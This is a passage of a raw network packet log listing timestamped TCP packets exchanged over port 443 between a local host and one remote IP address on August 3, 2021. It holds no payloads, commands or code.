Aug 3, 2021 20:39:42.841490984 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.841511965 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.841523886 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.841532946 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.841556072 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.841573000 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.841578007 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.841598988 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.841635942 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.841645002 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.841656923 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.841677904 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.841697931 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.841701031 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.841718912 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.841739893 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.841762066 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.841763020 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.841785908 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.841806889 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.841824055 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.841829062 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.841850042 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.841870070 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.841880083 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.841891050 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.841912031 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.841934919 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.841934919 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.841972113 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.841991901 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.841994047 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.842014074 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.842035055 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.842055082 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.842056036 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.842076063 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.842097044 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.842118979 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.842127085 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.842142105 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.842161894 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.842180967 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.842184067 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.842205048 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.842225075 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.842236042 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.842246056 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.842266083 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.842289925 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.842299938 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.842314959 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.842344046 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.842361927 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.842377901 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.842377901 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.842394114 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.842410088 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.842425108 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.842443943 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.842461109 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.842477083 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.842493057 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.842495918 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.842505932 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.842509031 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.842525005 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.842540979 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.842557907 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.842614889 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.886464119 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.886516094 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.886537075 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.886595011 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.933130980 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.022434950 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.022491932 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.022525072 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.022561073 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.022566080 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.022597075 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.022615910 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.022629976 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.022675037 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.022706032 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.022733927 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.022742987 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.022753000 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.022764921 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.022784948 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.022804976 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.022819996 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.022825003 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.022849083 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.022871971 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.022891045 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.022910118 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.022911072 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.022916079 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.022931099 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.022950888 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.022970915 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.022973061 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.022983074 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.022989988 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023011923 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.023015022 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023036003 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023055077 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023075104 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023078918 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.023093939 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023123026 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.023130894 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023156881 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023173094 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023192883 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.023194075 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023205996 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.023215055 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023230076 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023245096 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023264885 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023283005 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.023283958 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023304939 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023323059 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.023328066 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023350954 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.023353100 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023375034 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023395061 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023402929 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.023415089 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023436069 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023439884 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.023454905 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023474932 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023478031 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.023494959 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023519039 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023524046 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.023546934 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023566008 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023582935 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.023588896 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023612022 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023626089 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.023631096 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023652077 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023668051 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.023672104 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023690939 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023699045 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.023710966 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023730993 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023736000 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.023755074 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023777008 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023780107 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.023796082 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023816109 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023818970 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.023835897 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023855925 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023859024 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.023876905 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023895979 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023897886 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.023920059 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023931980 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.023941994 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023962021 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.023977995 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.023983955 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.024003029 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.024022102 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.024024963 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.024041891 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.024061918 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.024085999 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.024089098 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.024107933 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.024127960 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.024132013 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.024147987 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.024157047 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.024169922 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.024188995 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.024198055 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.024209023 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.024228096 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.024240017 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.024252892 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.024274111 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.024281979 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.024293900 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.024313927 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.024319887 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.024333954 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.024353027 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.024353981 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.024373055 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.024391890 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.024404049 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.024415970 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.024435043 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.024437904 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.024456978 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.024477005 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.024485111 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.024497032 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.024516106 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.024518013 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.024534941 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.024554014 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.024569988 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.024583101 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.024597883 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.024616957 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.024617910 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.024620056 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.024637938 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.024698973 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.024761915 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.025223017 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.066401005 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.066452980 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.066513062 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.118653059 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.118697882 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.118741035 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.167503119 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.204329967 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.204472065 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.204546928 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.204590082 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.204632998 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.204688072 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.204701900 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.204757929 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.204816103 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.204823971 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.204875946 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.204906940 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.204931974 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.204971075 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.205024004 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.205034018 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.205071926 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.205105066 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.205131054 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.205152035 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.205182076 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.205214024 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.205228090 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.205259085 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.205271959 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.205303907 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.205333948 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.205358982 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.205379009 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.205409050 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.205434084 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.205508947 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.205548048 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.205566883 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.205605030 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.205640078 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.205660105 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.205688000 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.205718040 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.205749035 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.205765963 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.205797911 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.205828905 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.205856085 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.205887079 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.205924034 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.205960989 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.205979109 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.206011057 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.206036091 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.206063986 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.206080914 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.206115007 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.206144094 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.206167936 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.206197977 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.206238031 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.206254005 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.206288099 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.206317902 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.206342936 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.206362963 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.206392050 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.206415892 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.206434965 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.206465960 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.206487894 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.206515074 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.206547976 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.206568956 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.206604004 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.206640959 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.206655979 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.206688881 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.206720114 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.206737041 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.206765890 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.206794024 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.206809998 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.206836939 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.206866980 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.206888914 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.206917048 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.206949949 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.206969976 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.207005024 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.207042933 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.207057953 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.207091093 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.207149982 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.207236052 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.207271099 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.207298994 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.207323074 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.207345963 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.207370043 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.207392931 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.207416058 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.207446098 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.207464933 CEST	49756	443	192.168.2.4	207.241.228.148
